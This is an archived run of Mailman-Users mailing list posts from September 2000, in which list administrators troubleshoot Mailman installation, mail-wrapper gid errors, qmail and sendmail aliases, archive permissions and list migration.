From chris.conner at navidec.com  Thu Sep  7 00:35:59 2000
From: chris.conner at navidec.com (Christopher Conner)
Date: Wed, 06 Sep 2000 16:35:59 -0600
Subject: [Mailman-Users] Pipermail Archive page
Message-ID: <39B6C6CF.D55639F0@navidec.com>

Our archive page gets updated about every half hour.  When it updates
the most recent post on the page gets replaced with the most recent
post.  So instead of the archive list for January getting longer each
time it updates it stays the same length and the last link gets replaced
with a more recent post.  Has anyone ever seen this, or does anyone have
an idea how I could get it to update the archive correctly?




From michael at spconnect.com  Fri Sep  1 00:00:51 2000
From: michael at spconnect.com (Michael Ghens)
Date: Thu, 31 Aug 2000 15:00:51 -0700 (PDT)
Subject: [Mailman-Users] umbrella lists
Message-ID: <Pine.LNX.4.21.0008311500180.32567-100000@merlin.spconnect.com>

Now that they are mentioned. How does one set them up?




From vl at ez.no  Fri Sep  1 04:23:02 2000
From: vl at ez.no (Vidar Langseid)
Date: Fri, 1 Sep 2000 04:23:02 +0200 (CEST)
Subject: [Mailman-Users] problems with To: and ReplyTo: fields
Message-ID: <Pine.LNX.4.21.0009010411570.2950-100000@rebel.ez.no>

Dear mailman-users,

I have trouble setting the Reply-To:, and To: field right

I have some mailing lists on a server named boringname.foo.org
This server has virtual hosting and is therefore also known as
racing.foo.org and mychessclub.foo.org

racing.foo.org has a mailing list called f1 at racing.foo.org
mychessclub at foo.org has a mailing list called masters at mychessclub.foo.org

My problem is that I want mail to f1 at racing.foo.org appear to be
To:f1 at racing.foo.org and mail to masters at mychessclub.foo.org appaer to be
To:masters at mychessclub.foo.org.
On my system this mails allways comes with To:boringname.foo.org. Even
thow /var/log/mail says:

Sep  1 03:04:34 blackboy sendmail[16380]: e8114Y916380: from=<foobar at fooby.no>, size=467, class=0, nrcpts=1, msgid=<Pine.LNX.4.21.0009010248010.2483-100000 at .....>, proto=ESMTP, daemon=MTA, relay=.... [ipaddr]
Sep  1 03:04:34 blackboy sendmail[16381]: e8114Y916380: to="|/home/mailman/mail/wrapper post f1", ctladdr=<f1 at racing.foo.org> (8/0), delay=00:00:00, xdelay=00:00:00, mailer=prog, pri=30013, dsn=2.0.0, stat=Sent
Sep  1 03:05:01 blackboy sendmail[16390]: e81151916390: from=<f1-admin at racing.foo.org>, size=972, class=-60, nrcpts=2, msgid=<Pine.LNX.4.21.0009010248010.2483-100000 at .....>, proto=ESMTP, daemon=MTA, relay=boringname [127.0.0.1]
Sep  1 03:05:01 blackboy sendmail[16392]: e81151916390: to=<..subscribers...>,<.....>, delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=168972, relay=somesite.somewhere. [ipaddr], dsn=2.0.0, stat=Sent (DAA31728 Message accepted for delivery)

I am running Mailman 2.0beta5 (upgraded from 2.0beta2)

The mailing lists has correct "Host name this list prefers" and "Base URL
for Mailman web interface" settings.

When "poster" is selected for the option "Where are replies to list
messages directed? ...." (General options), this is what appear in pine
when reading the mail:
From: Vidar Langseid <vl at ez.no>
To: f1 at boringname.foo.org
Subject: hmm

when "This list" or "Explicit address" is selected in this option field,
this is what pine gives me:
From: Vidar Langseid <vl at ez.no>
Reply-To: f1 at boringname.foo.org
To: f1 at boringname.foo.org
Subject: hmm


If I select "yes" for the "Hide the sender of a message, replacing it with
the list address" (privacy options), pine says:
From: f1-admin at boringname.foo.org
Reply-To: f1 at boringname.foo.org
To: f1 at boringname.foo.org
Subject: hmm


What I would like to see is something like
From: Vidar Langseid <vl at ez.no>
To: f1 at racing.foo.org
Subject: hmm

(and
From: Vidar Langseid <vl at ez.no>
To: masters at mychessclub.foo.org
Subject: hmm
)

The last thing I want to see is boringname.foo.org to appear at all.



Does anyone know to solve this problem ?


------------------
vidarl




From jwt at OnJapan.net  Fri Sep  1 04:41:34 2000
From: jwt at OnJapan.net (Jim Tittsler)
Date: Fri, 1 Sep 2000 11:41:34 +0900
Subject: [Mailman-Users] bug in version 1
In-Reply-To: <39AEC1EE.E4DCD802@ptc.com>
References: <39AEC1EE.E4DCD802@ptc.com>
Message-ID: <20000901114134.B8311@server.onjapan.net>

On Thu, Aug 31, 2000 at 04:37:02PM -0400, Michael Curtin wrote:

> I has anyone seen this error message before?  I try to connect to the
> URL admin to change some configs but this keeps coming up.
[...]
>   File "/export/home/mailman/Mailman/MailList.py", line 806, in Load
>     raise Errors.MMBadListError, \
> MMBadListError: Unmarshaled config info is not a dictionary

I've not seen the error, but it looks like the config.db for the list has
become corrupt.  (Does the list otherwise work?)  Does restoring an older
config.db help?



From midnight at the-oasis.net  Fri Sep  1 05:50:07 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Thu, 31 Aug 2000 23:50:07 -0400
Subject: [Mailman-Users] reply to subscription confirmation problem
In-Reply-To: <025836EFF856D411A6660090272811E61D0694@EMAIL>
Message-ID: <39AEEF2F.11696.16F38D6F@localhost>

On 31 Aug 2000, at 10:22, Gregory Leblanc wrote:

> I've noticed that lately replying to subscription confirmations
> doesn't work.  I know that it worked just fine using mailman 1.1, and
> I'm sure that it's broken in 2.0 beta 5.  I don't have any of the
> earlier betas still running, so I can't test those.  Has this code
> changed significantly since 1.1?  Can we get it working again?  The
> client that I've been having problems with is Outlook 2000 (yeah, I
> know).  Thanks,

I'm having this exact problem on my new installation (Mailman rc5, 
Redhat 6.2), and I'd be very happy to cooperate with anyone who 
would care to help me troubleshoot it.

I'd love to get this package going, but I don't see any error 
messages in any of the logs.

How should I go about troubleshooting this?


-- 
              Phil Barnett  mailto:midnight at the-oasis.net
                       WWW  http://www.the-oasis.net/
                  FTP Site  ftp://ftp.the-oasis.net



From jafo at tummy.com  Fri Sep  1 09:58:29 2000
From: jafo at tummy.com (Sean Reifschneider)
Date: Fri, 1 Sep 2000 01:58:29 -0600
Subject: [Mailman-Users] Automatic list alises for QMail
Message-ID: <20000901015829.U24800@tummy.com>

I'd like comments on the following program.  The idea is that for QMail,
new lists will automaticly be detected and there will be no need to do
anything beyond "newlist".

Goodbye having to translate the sendmail alias entries into .qmail files.
Goodbye having to much with aliases ever again (as far as the list is
concerned).

Comments?

Sean
-- 
 I like to be different, so I built a lowercase a-frame house.
                 -- Sean Reifschneider, 2000
Sean Reifschneider, Inimitably Superfluous <jafo at tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python
-------------- next part --------------
#!/usr/bin/env python
#
#  mmvirtdlv -- MailMan Virtual Deliver
#
#  Sean Reifschneider, tummy.com, ltd.  <jafo-mmvirtdlv at tummy.com>
#  Copyright, tummy.com, ltd.  All Rights Reserved
#
#  The current version of this program is for QMail only.
#
#  The idea behind mmvirtdel is to allow automatic detection of new
#  mailman mailing lists.  It uses the "EXT" environment variables
#  as provided by QMail to determine the name of the list and the
#  function (request, owner, post).  If it can't determine the name
#  of the list or there is an invalid function specified, the message
#  is run through "forwardCmd" (default, forward to mailman-owner).
#
#  Setup:
#    Change "mailmanHome" to the home directory for mailman.
#      ("lists/<listname>" and "mail/wrapper" must exist under that directory)
#    Go to the mailman home directory and create ".qmail-default" containing:
#      |/path/to/mmvirtdel
#    Make sure that mail for "list" is now sent to "mailman-domain.com-list":
#      Add "lists.domain.com:mailman-lists.domain.com" to
#          "/var/qmail/control/virtualdomains"
#      Set up the appropriate alias files which forward the mail to
#        "mailman-domain.com-list" (though that's what we're trying to get
#        away from)

mailmanHome = '/home/mailman'
forwardCmd = '/var/qmail/forward mailman-owner'

destList = { 'owner' : 'mailowner %s', 'request' : 'mailcmd %s',
		'admin' : 'mailowner %s', 'list' : 'post %s' }

import os
import string


##############
def getExts():
	'''Return a list of the extensions.  Doing a string.join(list, '-') should
	result in the full extension of the local address.'''
	def addExt(l, e):
		s = os.environ.get(e, None)
		if s:	
			rstrip = string.join(l, '-')
			if len(s) >= len(rstrip) and s[-len(rstrip):] == rstrip:
				s = s[:-(len(rstrip) + 1)]
			l.insert(0, s)
	
	l = []
	addExt(l, 'EXT4')
	addExt(l, 'EXT3')
	addExt(l, 'EXT2')
	addExt(l, 'EXT')

	return(l)

################################
#  determine destination of list
extList = getExts()
destName = extList[1]
destCmd = None

#  <domain> <listname>
if len(extList) == 2: destType = destList.get('list', None)
#  <domain> <listname> <suffix>
if len(extList) == 3: destType = destList.get(extList[2], None)

#  if unknown destination, send to mailman-owner
if not destType:
	destCmd = forwardCmd

#  check for list existance
if not destCmd:
	destDir = os.path.join(mailmanHome, 'lists', destName)
	if not os.path.exists(destDir):
		destCmd = forwardCmd

#  otherwise, create "forward to list" command
if not destCmd:
	destCmd = os.path.join(mailmanHome, 'mail', 'wrapper')
	destCmd = destCmd + ' ' + (destType % destName)

ret = os.system(destCmd)
os.exit(ret)

From Jean.Bausch at fujitsu-siemens.com  Fri Sep  1 10:56:09 2000
From: Jean.Bausch at fujitsu-siemens.com (Jean Bausch)
Date: Fri, 01 Sep 2000 10:56:09 +0200
Subject: [Mailman-Users] new company mail addresses
Message-ID: <39AF6F28.4B2C68AC@fujitsu-siemens.com>

I have some company-internal Mailman lists. All our mail addresses will
change from xx at yy.zz to xx at fujitsu-siemens.com .
Is there a way for the list administrator to change globally all the
subscriber lists, or does each subscriber have to unsubscribe and
subscribe again with his new mail address?

Thanks for your help!

--
Jean Bausch
mail:  Jean.Bausch at fujitsu-siemens.com





From dgilbert at velocet.ca  Fri Sep  1 19:35:33 2000
From: dgilbert at velocet.ca (David Gilbert)
Date: Fri, 1 Sep 2000 13:35:33 -0400 (EDT)
Subject: [Mailman-Users] Mailman wedged.
Message-ID: <14767.59621.167614.360254@trooper.velocet.net>

Mailman (for some unknown reason) seems to be wedging on FreeBSD.
Right now, I've got 1500 files in the qfiles directory and they don't
appear to be going anywhere.  New messages do (eventually) get
delivered to the lists, but mail out from the lists (mainly digests)
don't ever get delivered (I can see them waiting the qfiles
directory).

Using lsof, I can see that the qrunner process has a socket open to
the mailer (which is postfix in this case) and that it has transmitted 
and recieved 0 bytes.  I tried setting the SMTPHOST variable to
indicate other hosts (one running postfix, the other running sendmail) 
and still qrunner sits neither transmitting or receiving (or
generating any useful log messages) aparently hung until the mailer
closes the connection.

Sep  1 12:33:02 trooper sendmail[12878]: KAA12878: timeout waiting for input from spitfire.velocet.net during message collect

Does anyone have any idea why this happens?

Dave.

-- 
============================================================================
|David Gilbert, Velocet Communications.       | Two things can only be     |
|Mail:       dgilbert at velocet.net             |  equal if and only if they |
|http://www.velocet.net/~dgilbert             |   are precisely opposite.  |
=========================================================GLO================



From kevinc at lynn.seaplace.org  Fri Sep  1 20:25:08 2000
From: kevinc at lynn.seaplace.org (Kevin Carpenter)
Date: Fri, 1 Sep 2000 13:25:08 -0500 (CDT)
Subject: [Mailman-Users] List not showing up?
Message-ID: <200009011825.NAA07462@lynn.seaplace.org>

Hi all -

I've been running Mailman 1.1 for half a year or so under Linux.  I recently
spot checked the public display (www.xyz.com/mailman/listinfo) and discovered
to my horror that my one private list was showing and that none of the public
list were showing.

I checked the private list via the admin screens and somehow it had been
marked public.  All the public list are marked public (via the privacy
screen).

Any idea why they wouldn't be showing up?
-- 
Kevin Carpenter:  KevinC at SeaPlace.org
Kevin's Home Page: http://www.seaplace.org/kevinc
(Expressing his comments from home in St. Louis, where this message originated)



From Dan.Mick at west.sun.com  Fri Sep  1 20:58:20 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Fri, 01 Sep 2000 11:58:20 -0700
Subject: [Mailman-Users] new company mail addresses
References: <39AF6F28.4B2C68AC@fujitsu-siemens.com>
Message-ID: <39AFFC4C.59B5505E@west.sun.com>


Jean Bausch wrote:
> 
> I have some company-internal Mailman lists. All our mail addresses will
> change from xx at yy.zz to xx at fujitsu-siemens.com .
> Is there a way for the list administrator to change globally all the
> subscriber lists, or does each subscriber have to unsubscribe and
> subscribe again with his new mail address?

No prebuilt way, but it would be pretty easy to write some Python code to
do that.  I've written several small additions to bin/withlist that can
be run with -r that do similar "for all members" things.
They're in the archives.



From russell at loosenut.com  Sat Sep  2 01:59:31 2000
From: russell at loosenut.com (Russell Van Tassell)
Date: Fri, 1 Sep 2000 16:59:31 -0700
Subject: [Mailman-Users] mailman-2.0beta5 on Solaris 2.5.1
Message-ID: <20000901165931.A14310@loosenut.com>

Trying to install Mailman 2.0b5 on a Solaris 2.5.1 box running
Python 1.5.2.  Everything seems to compile fine, though I can't
get the system to interact with sendmail correctly... (ie. I can't
even subscribe to a test mailing list)  I keep getting "unknown
mailer error 2" messages.  Here are the corresponding syslog
messages...

Anyone have any ideas?  (I know, it has to be something stupid)

Sep  1 16:53:06 fubar sendmail[14269]: QAA14269: from=russell, size=83,
  class=0, pri=30083, nrcpts=1,
  msgid=<200009012353.QAA14269 at fubar.loosenut.com>,
  relay=russell at localhost
Sep  1 16:53:06 fubar Mailman mail-wrapper: Failure to exec script.
  WANTED gid d, GOT gid d.  (Reconfigure to take d?)
Sep  1 16:53:06 fubar sendmail[14269]: QAA14269:
  to="|/usr/local/mailman/mail/wrapper mailcmd test", delay=00:00:00,
  xdelay=00:00:00, mailer=prog, stat=unknown mailer error 2


I've tried cleaning/recompiling with different --with-mail-gid options,
but I can't seem to get something any different.

Thanks much...
Russell


-- 
Russell M. Van Tassell
russell at loosenut.com

"All the taxes paid over a lifetime by the average American are spent by
 the government in less than a second."                    -- Jim Fiebig



From kmsiever at canada.com  Sat Sep  2 06:07:05 2000
From: kmsiever at canada.com (Kim & Mary Siever)
Date: Fri, 1 Sep 2000 21:07:05 -0700
Subject: [Mailman-Users] Hosts with Mailman installed
In-Reply-To: <20000901165931.A14310@loosenut.com>
Message-ID: <NEBBJLOIKLCGEPCHCOFOEENECGAA.kmsiever@canada.com>

I'm looking for a website with Mailman already installed. Just Python would
suffice because one of our team members would be able to install Mailman.
But we don't have our own server and to get root access and every thing else
may be a bit too much for virtual servers.

Does anyone have any suggestions?

Kim Siever
kim at ldsteach.com




From kmsiever at canada.com  Sat Sep  2 06:42:49 2000
From: kmsiever at canada.com (Kim & Mary Siever)
Date: Fri, 1 Sep 2000 21:42:49 -0700
Subject: [Mailman-Users] Hosts with Mailman installed
In-Reply-To: <NEBBJLOIKLCGEPCHCOFOEENECGAA.kmsiever@canada.com>
Message-ID: <NEBBJLOIKLCGEPCHCOFOCENGCGAA.kmsiever@canada.com>

> From: Kim & Mary Siever

> I'm looking for a website with Mailman already installed.

Sorry, that should be "I'm looking for a host with Mailman already
installed."

Kim




From midnight at the-oasis.net  Sat Sep  2 05:47:08 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Fri, 1 Sep 2000 23:47:08 -0400
Subject: [Mailman-Users] Help!
Message-ID: <39B03FFC.13260.1C1736B3@localhost>

I've been reading and reading for a week and I still have gotten no 
closer to resolving this situation.

I'm trying to get Mailman working with qmail and I can't get qmail to 
accept messages for my test mailbox.

I have been told that aside from all the setup I've already done that I 
need to add an alias so qmail understands how to deliver mail to 
Mailman. I have probably missed some very simple step, but not 
being familiar with anything about qmail, it's sure not obvious to me.

It is not clear to me where this alias will be placed and what will be 
in it.

Details:

Mailman is in /home/mailman

qmail's aliases are in /usr/local/plesk/qmail/alias Currently that 
directory contains:

-rw-r--r--    1 root     root       24 Aug  1 17:23 .qmail-mailer-daemon
-rw-r--r--    1 root     qmail     24 Aug  1 17:23 .qmail-postmaster
-rw-r--r--    1 root     qmail     24 Aug  1 17:23 .qmail-root

The virtual directory that all the other qmail mailboxes are working 
correctly in (although automatically configured by plesk, so I have 
no idea how they are set up...) 
/usr/local/plesk/qmail/mailnames/matrixlist.com and it contains the 
following files: (created by a script included by mailman)

-rw-r--r--    1 popuser  popuser   51 Aug 27 21:29 .qmail-owner-test
-rw-r--r--    1 popuser  popuser   46 Aug 27 21:29 .qmail-test
-rw-r--r--    1 popuser  popuser   51 Aug 27 21:29 .qmail-test-admin
-rw-r--r--    1 popuser  popuser   51 Aug 27 21:29 .qmail-test-owner
-rw-r--r--    1 popuser  popuser   49 Aug 27 21:29 .qmail-test-request

Can someone please help me out here? C'mon, throw me a bone! 
Give me some ideas. Tell me it's impossible. If I'm not providing 
enough information after all the detailed posts I've made, please, 
tell me what else to provide. I've been asking around this list for a 
week now and I'm feeling like a leper.

Is what I'm trying to do really that obscure?

Please? 

P.S. I'm not above begging.


-- 
              Phil Barnett  mailto:midnight at the-oasis.net
                       WWW  http://www.the-oasis.net/
                  FTP Site  ftp://ftp.the-oasis.net



From kasopa.w.chisanga at coppernet.zm  Sat Sep  2 08:27:31 2000
From: kasopa.w.chisanga at coppernet.zm (Kasopa Wilbroad Chisanga)
Date: Sat, 2 Sep 2000 08:27:31 +0200
Subject: [Mailman-Users] Fw: Returned mail: unknown mailer error 2
Message-ID: <004f01c014a6$e0644c10$5f9f82c2@pc125>

Hello,

Please help me on what mailer I am supposed to use in the aliases file. I
have tried several things but to no avail.
Please see below and advise on the error I am getting.
>
>    ----- Transcript of session follows -----
> Failure to exec script. WANTED gid 1, GOT gid 5.  (Reconfigure to take 5?)
> 554 "|/home/mailman/mail/wrapper mailcmd Mailman"... unknown mailer error
2
>

Kind regards,

Wilbroad.




From dgc at uchicago.edu  Sat Sep  2 08:36:28 2000
From: dgc at uchicago.edu (David Champion)
Date: Sat, 2 Sep 2000 01:36:28 -0500
Subject: [Mailman-Users] Re: Fw: Returned mail: unknown mailer error 2
In-Reply-To: <004f01c014a6$e0644c10$5f9f82c2@pc125>; from kasopa.w.chisanga@coppernet.zm on Sat, Sep 02, 2000 at 08:27:31AM +0200
References: <004f01c014a6$e0644c10$5f9f82c2@pc125>
Message-ID: <20000902013628.L17203@smack.uchicago.edu>

On 2000.09.02, in <004f01c014a6$e0644c10$5f9f82c2 at pc125>,
	"Kasopa Wilbroad Chisanga" <kasopa.w.chisanga at coppernet.zm> wrote:
> 
> > Failure to exec script. WANTED gid 1, GOT gid 5.  (Reconfigure to take 5?)

This means you did not ./configure the package with the correct mail
group ID.  Mailma's wrapper is telling you it thinks that it should
have been configured for group 5, but it was in fact configured for
group 1.  Reconfigure --with-mail-gid=5, and it should work.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago



From dougy at botzone.org  Sat Sep  2 12:10:57 2000
From: dougy at botzone.org (DouGy)
Date: Sat, 2 Sep 2000 11:10:57 +0100
Subject: [Mailman-Users] wrapper
Message-ID: <003d01c014c6$18f89bc0$593a29d4@extasy>

hey, I've just setup mailman on my system, everything seems to work... But
when someone posts to the list, maillogs show the mail getting sent the the
wrapper script, and nothing gets sent out.. When I run the wrapper script
from the shell I get:
--------------------------------------------------------
[mailman at omega mail]$ ./wrapper
Usage: ./wrapper program [args...]
[mailman at omega mail]$ ./wrapper post
Failure to exec script. WANTED gid 12, GOT gid 65534.  (Reconfigure to take
65534?)[mailman at omega mail]$
--------------------------------------------------------

any ideas? thanks...




From ksbae at cpu.snu.ac.kr  Sat Sep  2 12:46:45 2000
From: ksbae at cpu.snu.ac.kr (ksbae)
Date: Sat, 2 Sep 2000 19:46:45 +0900
Subject: [Mailman-Users] Cannot access error
Message-ID: <005701c014cb$176dc3c0$87a12e93@snu.ac.kr>

I installed mailman 2.0 beta 5 on Redhat Linux 6.2 with Apache 1.3.12.

Mailing function works well.

But, they cannot access archives. (This is the only problem)


===================================================================
Forbidden
You don't have permission to access /pipermail/p-net-asia/ on this server.


--------------------------------------------------------------------

Apache/1.3.12 Server at cpu.snu.ac.kr Port 80
===================================================================


I think the permission to the directory is OK,
And 'check_perms' reports that there is no problem.

I inserted alias of /pipermail/ in the 'httpd.conf' file and restarted the web
service.

Can you point any other point that I did not considered?

Is Apache or Redhat Linux version I used is incompatible to Mailman 2.0 beta 5 ?

Any comments will be appreciated.

Sincerely,


        Kyun-Seop Bae MD

        Clinical Pharmacology Unit
        Seoul National University Hospital

        Department of Pharmacology
        Seoul National University College of Medicine

        28 Yongon-dong Chongno-gu
        Seoul, 110-799, Korea

        Email: ksbae at cpu.snu.ac.kr
        Fax: +82-2-745-7996
        Tel: +82-2-740-8291




From ksbae at cpu.snu.ac.kr  Sat Sep  2 13:08:42 2000
From: ksbae at cpu.snu.ac.kr (ksbae)
Date: Sat, 2 Sep 2000 20:08:42 +0900
Subject: [Mailman-Users] Cannot access error
References: <005701c014cb$176dc3c0$87a12e93@snu.ac.kr>
Message-ID: <005f01c014ce$27d54280$87a12e93@snu.ac.kr>

I found the soluntion in the previous mailing list archive.

But, it did not need to change /home/mailman/Mailman/Utils.py

Sincerely,

                      Kyun-Seop Bae
===========================================================
>From ganbold at gate.pmis.gov.mn  Fri Jul  7 09:42:31 2000
Date: Fri, 07 Jul 2000 16:42:31 +0800
From: Ganbold ganbold at gate.pmis.gov.mn
Subject: [Mailman-Users] Re: Forbidden access error - Que?

Solution is:

in <IfModule mod_alias> of Apache conf:

Alias /pipermail/ "/home/mailman/archives/public/"

<Directory "home/mailman/archives/public">
Options FollowSymLinks
Order allow,deny
Allow from all
</Directory>

And in /home/mailman/Mailman/Utils.py

in Line 539: where the definition of  open_ex(,mode='r',) function.

Put 'a+' instead of "r"
Now it's archiving and I can browse it from web. Hope this helps.


regards,
Ganbold
=========================================================


----- Original Message -----
From: "ksbae" <ksbae at cpu.snu.ac.kr>
To: <mailman-users at python.org>
Sent: Saturday, September 02, 2000 7:46 PM
Subject: [Mailman-Users] Cannot access error


> I installed mailman 2.0 beta 5 on Redhat Linux 6.2 with Apache 1.3.12.
>
> Mailing function works well.
>
> But, they cannot access archives. (This is the only problem)
>
>
> ===================================================================
> Forbidden
> You don't have permission to access /pipermail/p-net-asia/ on this server.
>
>
> --------------------------------------------------------------------
>
> Apache/1.3.12 Server at cpu.snu.ac.kr Port 80
> ===================================================================
>
>
> I think the permission to the directory is OK,
> And 'check_perms' reports that there is no problem.
>
> I inserted alias of /pipermail/ in the 'httpd.conf' file and restarted the web
> service.
>
> Can you point any other point that I did not considered?
>
> Is Apache or Redhat Linux version I used is incompatible to Mailman 2.0 beta 5
?
>
> Any comments will be appreciated.
>
> Sincerely,
>
>
>         Kyun-Seop Bae MD
>
>         Clinical Pharmacology Unit
>         Seoul National University Hospital
>
>         Department of Pharmacology
>         Seoul National University College of Medicine
>
>         28 Yongon-dong Chongno-gu
>         Seoul, 110-799, Korea
>
>         Email: ksbae at cpu.snu.ac.kr
>         Fax: +82-2-745-7996
>         Tel: +82-2-740-8291
>
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From bug at aphid.net  Sat Sep  2 14:02:37 2000
From: bug at aphid.net (Chuck Dale)
Date: Sat, 2 Sep 2000 23:02:37 +1100
Subject: [Mailman-Users] mailman-2.0beta5 on Solaris 2.5.1
In-Reply-To: <20000901165931.A14310@loosenut.com>; from russell@loosenut.com on Fri, Sep 01, 2000 at 04:59:31PM -0700
References: <20000901165931.A14310@loosenut.com>
Message-ID: <20000902230237.P6766@aphid.net>

Wrote Russell Van Tassell on Fri, Sep 01, 2000 at 04:59:31PM -0700:
> 
> Trying to install Mailman 2.0b5 on a Solaris 2.5.1 box running
> Python 1.5.2.  Everything seems to compile fine, though I can't
> get the system to interact with sendmail correctly... (ie. I can't
> even subscribe to a test mailing list)  I keep getting "unknown
> mailer error 2" messages.  Here are the corresponding syslog
> messages...
> 
> Anyone have any ideas?  (I know, it has to be something stupid)
> 
> Sep  1 16:53:06 fubar sendmail[14269]: QAA14269: from=russell, size=83,
>   class=0, pri=30083, nrcpts=1,
>   msgid=<200009012353.QAA14269 at fubar.loosenut.com>,
>   relay=russell at localhost
> Sep  1 16:53:06 fubar Mailman mail-wrapper: Failure to exec script.
>   WANTED gid d, GOT gid d.  (Reconfigure to take d?)
> Sep  1 16:53:06 fubar sendmail[14269]: QAA14269:
>   to="|/usr/local/mailman/mail/wrapper mailcmd test", delay=00:00:00,
>   xdelay=00:00:00, mailer=prog, stat=unknown mailer error 2
> 
> 
> I've tried cleaning/recompiling with different --with-mail-gid options,
> but I can't seem to get something any different.

I assume you modified the gids in the log extract here, or are they
actually "d"s in the log? It would be easier to help if you didn't
change them. 

Chuck

               [ charles hamilton dale <bug at aphid.net> ]



From bug at aphid.net  Sat Sep  2 14:05:24 2000
From: bug at aphid.net (Chuck Dale)
Date: Sat, 2 Sep 2000 23:05:24 +1100
Subject: [Mailman-Users] Hosts with Mailman installed
In-Reply-To: <NEBBJLOIKLCGEPCHCOFOEENECGAA.kmsiever@canada.com>; from kmsiever@canada.com on Fri, Sep 01, 2000 at 09:07:05PM -0700
References: <20000901165931.A14310@loosenut.com> <NEBBJLOIKLCGEPCHCOFOEENECGAA.kmsiever@canada.com>
Message-ID: <20000902230524.Q6766@aphid.net>

Wrote Kim & Mary Siever on Fri, Sep 01, 2000 at 09:07:05PM -0700:
> I'm looking for a website with Mailman already installed. Just Python would
> suffice because one of our team members would be able to install Mailman.
> But we don't have our own server and to get root access and every thing else
> may be a bit too much for virtual servers.
> 
> Does anyone have any suggestions?

Quality virtual server providers will give you Python at least. Try
iserver.com if you're really lost - they're my favourite.

Or I can do it here in Oz.

Chuck

               [ charles hamilton dale <bug at aphid.net> ]



From bug at aphid.net  Sat Sep  2 14:19:47 2000
From: bug at aphid.net (Chuck Dale)
Date: Sat, 2 Sep 2000 23:19:47 +1100
Subject: [Mailman-Users] wrapper
In-Reply-To: <003d01c014c6$18f89bc0$593a29d4@extasy>; from dougy@botzone.org on Sat, Sep 02, 2000 at 11:10:57AM +0100
References: <003d01c014c6$18f89bc0$593a29d4@extasy>
Message-ID: <20000902231947.R6766@aphid.net>

This is a red herring - do not run the wrapper script from the shell,
you will not get useful results because you aren't running as the user
which the mail daemon runs as.

Need some logs and system details to help more.

Chuck

Wrote DouGy on Sat, Sep 02, 2000 at 11:10:57AM +0100:
> hey, I've just setup mailman on my system, everything seems to work... But
> when someone posts to the list, maillogs show the mail getting sent the the
> wrapper script, and nothing gets sent out.. When I run the wrapper script
> from the shell I get:
> --------------------------------------------------------
> [mailman at omega mail]$ ./wrapper
> Usage: ./wrapper program [args...]
> [mailman at omega mail]$ ./wrapper post
> Failure to exec script. WANTED gid 12, GOT gid 65534.  (Reconfigure to take
> 65534?)[mailman at omega mail]$
> --------------------------------------------------------
> 
> any ideas? thanks...

               [ charles hamilton dale <bug at aphid.net> ]



From mrbill at mrbill.net  Sun Sep  3 05:22:59 2000
From: mrbill at mrbill.net (Bill Bradford)
Date: Sat, 2 Sep 2000 22:22:59 -0500
Subject: [Mailman-Users] migrating lists and archives to another machine?
Message-ID: <20000902222259.I19404@mrbill.net>

I'm upgrading my server to a bigger machine this weekend; is there
an "approved" process for moving lists and archives from one MailMan
install to another?  

Bill

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From selim at swmc.bangla.net  Sun Sep  3 07:29:48 2000
From: selim at swmc.bangla.net (Selim Jahangir)
Date: Sun, 3 Sep 2000 11:29:48 +0600
Subject: [Mailman-Users] Hi!
Message-ID: <000801c01567$f9e8c410$29ffbccb@swmc.dom>

Hi all !
Is there anybody who can help me to configure dialin server in RH6.2

In rh6.0  other than root could run the pppd after "chmod u+s /usr/sbin/pppd"
But in rh6.2 i can not run pppd other than root doing the same "chmod u+s pppd" when I try to run pppd other than root it says " remote system should authenticate itself. Even from console I tried to run pppd other than root it said the same.

Please help.

Thanks
selim
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From selim at swmc.bangla.net  Sun Sep  3 07:55:05 2000
From: selim at swmc.bangla.net (Selim Jahangir)
Date: Sun, 3 Sep 2000 11:55:05 +0600
Subject: [Mailman-Users] PPPd running problem
Message-ID: <000a01c0156b$81f38cc0$29ffbccb@swmc.dom>

Dear Anybody

I am facing a problem when i try to run pppd being any user other than root in RedHat 6.2 . But in rh.60 I used "chmod u+s pppd" and any user can run pppd after dial-in. In rh6.2 it says that Remote system should be authenticated even i try to run pppd from console also being other than root.

Thanks for any help in advance.

Thnaks
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From dgilbert at velocet.ca  Mon Sep  4 02:58:54 2000
From: dgilbert at velocet.ca (David Gilbert)
Date: Sun, 3 Sep 2000 20:58:54 -0400 (EDT)
Subject: [Mailman-Users] How to trace a lockup?
Message-ID: <14770.62414.561190.947765@trooper.velocet.net>

I'm experiencing a lockup condition on FreeBSD-3.4 with mailman.  It's 
taking an inordinate amount of time (almost indefinately) stuck in the 
poll state.

The qrunner process seems to stick in the "poll" state (as reported by 
top) indefinately.  lsof shows a socket open to the mailer (postfix or 
sendmail both tried in this case) and it also shows 0 bytes in the
transmit and recieve counts.

How do I debug this?  Has anyone looked into locked up qrunner
processes?

I've tried to switch to calling sendmail from the command line, but
this piece of code seems broken.

Dave.

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From jwt at OnJapan.net  Mon Sep  4 04:24:01 2000
From: jwt at OnJapan.net (Jim Tittsler)
Date: Mon, 4 Sep 2000 11:24:01 +0900
Subject: [Mailman-Users] migrating lists and archives to another machine?
In-Reply-To: <20000902222259.I19404@mrbill.net>
References: <20000902222259.I19404@mrbill.net>
Message-ID: <20000904112400.A13044@server.onjapan.net>

On Sat, Sep 02, 2000 at 10:22:59PM -0500, Bill Bradford wrote:
> I'm upgrading my server to a bigger machine this weekend; is there
> an "approved" process for moving lists and archives from one MailMan
> install to another?  

Barry Warsaw posted a message called "Moving Lists" to the
mailman-users mailing list on 24 Nov 1999 where he described
his "recipe" for moving a mailing list from one machine to
another.




From dgporter at erols.com  Mon Sep  4 07:36:33 2000
From: dgporter at erols.com (Don Porter)
Date: Mon, 4 Sep 2000 01:36:33 -0400 (EDT)
Subject: [Mailman-Users] Welcome for read-only lists?
Message-ID: <E13Vp0v-0004dd-00@smtp01.mrf.mail.rcn.net>

I want to create a list where only a few people have permission to post
messages.  Most subscribers see the list as "read-only".  This is useful
for broadcasting announcements.

The Privacy Options can be set to accomplish this (almost).  Good.

The "Using <list>" section of the default general list info page invites
people to post messages to the list.  Bad.  But Mailman let's me edit
the HTML of that page, so I can correct that problem.  OK.

However, the default welcome e-mail message sent out when someone is
